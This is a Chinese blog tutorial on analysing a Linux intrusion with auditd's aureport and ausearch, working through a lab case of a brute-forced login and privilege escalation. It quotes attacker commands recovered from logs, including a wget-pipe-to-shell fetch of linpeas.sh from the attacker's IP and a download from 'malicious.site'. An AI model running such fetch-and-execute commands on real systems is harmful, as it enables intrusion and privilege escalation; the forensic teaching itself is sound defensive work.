使用aureport分析入侵行为

如果黑客入侵了你的系统,如何分析他是如何入侵的呢?

在Linux中,我们可以通过分析auditd审计系统记录的日志,从而来初步分析黑客的入侵痕迹

auditd审计系统

概述

auditd是liunx内核的审计子系统,负责记录系统级事件(如文件访问、用户登录、命令执行等)

审计日志默认存储在/var/log/audit/中,内容为结构化的纯文本格式,每条记录由多个 key=value 字段组成,直接阅读比较困难,需要解析

核心组件

  • auditd 守护进程:后台运行,负责收集和存储审计日志(默认路径 /var/log/audit/
  • auditctl:配置工具,用于定义审计规则(如监控文件访问或系统调用)
  • ausearch & aureport:分析工具,前者搜索日志,后者生成统计报告
  • audispd:扩展插件,支持将日志转发到其他程序处理

在这里我们为了分析入侵行为,可以使用ausearch & aureport工具

  • aureport的统计性更强,能比较直观地了解
  • ausearch也可以使用,因为是搜索日志中的相关信息,显示的内容更加详细

这里我们主要关注aureport工具

aureport

aureport的作用是将原始日志转换为可读性强的汇总报告

常用命令

报告类型

命令示例

用途

汇总报告

aureport --sumary

显示审计日志的全局统计信息

登录事件

aureport -l

列出所有用户登录/注销事件

文件访问

aureport -f

显示被监控文件的访问记录

用户命令

aureport -x

查看用户执行的命令 (需配置审计规则)

系统调用事件

aureport -s

列出触发的系统调用事件

异常事件

aureport --failed

显示失败的操作 (如登录失败、权限拒绝)

时间范围过滤

aureport -ts 09:00 -te 17:00

生成指定时间段的报告

读取日志文件

aureport -if xxx

指定输入文件(默认读取/var/log/audit/audit.log)

关键字过滤

aureport -k xxx

按照审计规则的关键字(key)过滤事件

提高可读性

aureport -i

将数字UID/GID转换为用户名/组名

使用实例

下面以一个真实案例来了解如何使用aureport来分析

有某个攻击者入侵了你的系统,如何通过auditd审计系统来分析他是如何入侵的呢?

哪个账号被盗了?
aureport -l -if audit.log

可以看到 btlo 用户一直在尝试登录,但是一直登录失败,多次失败后再最后成功登陆

不难猜测攻击者爆破出了 btlo 的密码,成功进入了系统

有多少异常事件?
aureport --failed -if audit.log

可以看到有87次的登陆失败,这与我们之前看到的一致

而身份认证失败的次数有89次

攻击者的IP地址?
aureport --host -if audit.log

分析记录的host信息,可以看到有大量192.168.4.155的访问记录,经过分析排查不难猜测192.168.4.155就是攻击者的IP

使用了什么提权工具?

一般普通用户进来权限比较低,攻击者往往会进行提权

aureport --tty -if audit.log
  • --tty 生成终端相关事件的汇总报告

  • linpeas是常用的一个提权的脚本,用于列举在Linux系统上提升特权的所有可能方法,有兴趣的可以去他的Github页面进行了解
    • wget -O - http://192.168.4.155:8000/linpeas.sh | sh获取了linpeas.sh并执行
  • 之后又下载了一个evil文件,执行了./evil 0的操作
  • 很明显使用的提权工具就是linpeas,或许还包括evil
    • 结合linpeas./evil 0的操作可能用于获取root的权限
攻击者用于获取root权限的pid?

经过前面分析推测./evil 0的操作可能用于获取root的权限,所以我们查找evil相关的pid就可以

aureport -p -if audit.log | grep evil

pid为829992

More

后续还可以利用ausearch & aureport进一步分析攻击者的行为

比如配置了特定的auditd审计规则,可以根据审计规则中做的标识来进行筛选

示例
配置auditd审计规则

auditd审计规则配置了捕获所有执行命令的进程(关键参数:a=always, exit=退出时记录, S=系统调用, key=标签)

auditctl -a always,exit -F arch=b64 -S execve -k executed_commands

所有通过 execve 执行的程序(包括命令)均会被记录,标记为 executed_commands

查询命令执行日志

使用 ausearch 按标签筛选,-i 将数字字段转为易读名称

ausearch -k executed_commands -i

当然也可以使用 aureport ,这里为了显示更多信息所以使用 ausearch

输出示例
type=EXECVE msg=audit(2024-06-02 10:00:00.123:456): argc=3 a0="/bin/bash" a1="-c" a2="wget http://malicious.site/script.sh"
type=PROCTITLE msg=... : proctitle="bash -c id"

argca0/a1/a2 显示具体执行的命令及参数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Neolock

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值